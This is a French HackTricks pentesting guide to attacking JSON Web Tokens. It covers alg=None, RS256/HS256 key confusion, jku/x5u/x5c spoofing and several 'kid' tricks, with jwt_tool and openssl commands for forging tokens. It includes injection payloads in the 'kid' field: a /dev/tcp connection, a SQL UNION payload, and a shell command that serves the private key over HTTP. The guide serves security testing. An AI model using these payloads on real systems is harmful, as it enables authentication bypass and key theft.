hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

269 lines
20 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Vulnérabilités JWT (Json Web Tokens)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (638) (3).png>)
**Astuce pour les primes de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de **prime de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
**Une partie de cet article a été tirée de :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Auteur de l'outil génial pour pentester les JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Gains rapides**
Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) en mode `All Tests!` et attendez les lignes vertes
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Si vous avez de la chance, l'outil trouvera des cas où l'application web vérifie incorrectement le JWT :
![](<../.gitbook/assets/image (435).png>)
Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant l'outil jwt\_ :
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Manipuler les données sans rien modifier
Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.
#### **La signature est-elle vérifiée ?**
- Si un message d'erreur apparaît, la signature est vérifiée - lisez les informations d'erreur détaillées qui pourraient divulguer des informations sensibles.
- Si la page renvoyée est différente, la signature est vérifiée.
- Si la page est la même, alors la signature n'est pas vérifiée - il est temps de commencer à manipuler les revendications de la charge utile pour voir ce que vous pouvez faire !
### Origine
Vérifiez d'où provient le jeton dans l'historique des requêtes de votre proxy. Il devrait être créé sur le serveur, pas sur le client.
- S'il a été vu pour la première fois en provenance du côté client, alors la **clé** est accessible au code côté client - recherchez-la !
- S'il a été vu pour la première fois en provenance du serveur, alors tout va bien.
### Durée
Vérifiez si le jeton dure plus de 24 heures... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
### Brute-force du secret HMAC
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Modifier l'algorithme en None (CVE-2015-9235)
Définissez l'algorithme utilisé comme "None" et supprimez la partie de la signature.
Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
### Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.
Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.
Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nouvelle clé publique dans l'en-tête
Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).
Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.\
(Envoyez la requête à Repeater, sélectionnez "CVE-2018-0114" dans l'onglet JSON Web Token et envoyez la requête).
### Spoofing JWKS
Si le jeton utilise une revendication d'en-tête "jku", vérifiez l'URL fournie. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service Web où vous pouvez surveiller le trafic.
Si vous obtenez une interaction HTTP, vous savez maintenant que le serveur essaie de charger des clés à partir de l'URL que vous fournissez. _Utilisez l'option -S de jwt\_tool avec l'argument -u_ [_http://example.com_](http://example.com) _pour générer une nouvelle paire de clés, injectez votre URL fournie, générez un JWKS contenant la clé publique et signez le jeton avec la clé privée._
### Problèmes de "kid"
`kid` est une revendication d'en-tête facultative qui contient un identifiant de clé, particulièrement utile lorsque vous avez plusieurs clés pour signer les jetons et que vous devez trouver la bonne pour vérifier la signature.
#### Problèmes de "kid" - révéler la clé
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez le répertoire Web pour ce fichier ou une variation de celui-ci. Par exemple, si `"kid":"key/12345"`, recherchez _/key/12345_ et _/key/12345.pem_ à la racine du site Web.
#### Problèmes de "kid" - traversée de chemin
Si la revendication "kid" est utilisée dans l'en-tête, vérifiez si vous pouvez utiliser un fichier différent dans le système de fichiers. Choisissez un fichier dont vous pourriez prédire le contenu, ou essayez peut-être `"kid":"/dev/tcp/yourIP/yourPort"` pour tester la connectivité, ou même quelques charges **SSRF**...\
_Utilisez l'option -T de jwt\_tool pour altérer le JWT et changer la valeur de la revendication kid, puis choisissez de conserver la signature d'origine._
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
En utilisant des fichiers à l'intérieur de l'hôte avec un contenu connu, vous pouvez également falsifier un JWT valide. Par exemple, dans les systèmes Linux, le fichier `/proc/sys/kernel/randomize_va_space` a la valeur définie sur **2**. Ainsi, en mettant ce **chemin** dans le paramètre "**kid**" et en utilisant "**2**" comme **mot de passe symétrique** pour générer le JWT, vous devriez pouvoir générer un nouveau JWT valide.
#### Problèmes avec "kid" - Injection SQL
Dans un scénario où le contenu de "kid" est utilisé pour récupérer le mot de passe de la base de données, vous pouvez modifier la charge utile à l'intérieur du paramètre "kid" en: `non-existent-index' UNION SELECT 'ATTACKER';-- -` puis signer le JWT avec la clé secrète `ATTACKER`.
#### Problèmes avec "kid" - Injection OS
Dans un scénario où le paramètre "kid" contient un chemin vers le fichier avec la clé et que ce chemin est utilisé **dans une commande exécutée**, vous pourriez être en mesure d'obtenir une RCE et d'exposer la clé privée avec une charge utile comme celle-ci: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### Attaques diverses
Les faiblesses suivantes sont connues et doivent être testées.
**Attaques de relais entre services**
Certaines applications web utilisent un JWT "service" de confiance pour générer et gérer les jetons pour elles. Dans le passé, il est arrivé que le jeton généré pour l'un des clients du service JWT puisse être accepté par un autre client du service JWT.\
Si vous observez le JWT émis ou renouvelé via un service tiers, il vaut la peine de vérifier si vous pouvez vous inscrire sur un autre client de ce service avec le même nom d'utilisateur/adresse e-mail. Si c'est le cas, essayez de prendre ce jeton et de le rejouer dans une requête vers votre cible. Est-il accepté ?
* Si votre jeton est accepté, vous pourriez avoir un problème critique vous permettant de falsifier le compte de n'importe quel utilisateur. CEPENDANT, veuillez noter que si vous vous inscrivez sur une application tierce, vous devrez peut-être demander l'autorisation d'effectuer des tests plus larges au cas où cela entrerait dans une zone grise légale !
**Est-ce que "exp" est vérifié ?**
La revendication de charge utile "exp" est utilisée pour vérifier l'expiration d'un jeton. Comme les JWT sont souvent utilisés en l'absence d'informations de session, ils doivent être manipulés avec précaution - dans de nombreux cas, la capture et la relecture du JWT de quelqu'un d'autre vous permettront de vous faire passer pour cet utilisateur.\
Une atténuation contre les attaques de relecture de JWT (conseillée par le JWT RFC) consiste à utiliser la revendication "exp" pour définir une heure d'expiration pour le jeton. Il est également important de mettre en place les vérifications appropriées dans l'application pour s'assurer que cette valeur est traitée et que le jeton est rejeté s'il est expiré. Si le jeton contient une revendication "exp" et que les limites de temps de test le permettent, essayez de stocker le jeton et de le rejouer après que le délai d'expiration soit passé. _Utilisez l'option -R de jwt\_tool pour lire le contenu du jeton, ce qui inclut l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC)_
* Si le jeton est toujours validé dans l'application, cela peut constituer un risque de sécurité car le jeton peut NE JAMAIS expirer.
### x5u et jku
#### jku
jku signifie **URL de jeu de clés JWK**.\
Si le jeton utilise une revendication "**jku**" dans l'en-tête, **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web pour lequel vous pouvez surveiller le trafic.
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre jku vers le certificat créé.** Pour créer un certificat jku valide, vous pouvez télécharger l'original et modifier les paramètres nécessaires.
Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant :
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
URL X.509. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité du transport est nécessaire pour transférer les certificats.
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
![](<../.gitbook/assets/image (439).png>)
Vous pouvez également exploiter ces deux vulnérabilités **pour les SSRF**.
#### x5c
Ce paramètre peut contenir le **certificat en base64** :
![](<../.gitbook/assets/image (440).png>)
Si l'attaquant **génère un certificat auto-signé** et crée un jeton falsifié en utilisant la clé privée correspondante, puis remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton falsifié serait accepté par le serveur.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Clé publique intégrée (CVE-2018-0114)
Si le JWT a intégré une clé publique comme dans le scénario suivant:
![](<../.gitbook/assets/image (438).png>)
En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature :
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Vous pouvez obtenir les valeurs "n" et "e" en utilisant ce script nodejs :
```javascript
const jwt = require('jsonwebtoken');
const token = 'YOUR_JWT_TOKEN_HERE';
const decodedToken = jwt.decode(token, { complete: true });
const n = decodedToken.header.n;
const e = decodedToken.header.e;
console.log('n:', n);
console.log('e:', e);
```
Assurez-vous de remplacer "YOUR_JWT_TOKEN_HERE" par votre propre jeton JWT.
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
En utilisant la clé publique et privée ainsi que les nouvelles valeurs "n" et "e", vous pouvez utiliser [jwt.io](https://jwt.io) pour créer un nouveau JWT valide avec n'importe quelle information.
### JTI (JWT ID)
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher la relecture du jeton.\
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (en ayant besoin d'envoyer 10000 requêtes entre chaque rejouement réussi).
### Revendications enregistrées JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Outils
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Astuce pour les primes de bugs** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **primes de bugs créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>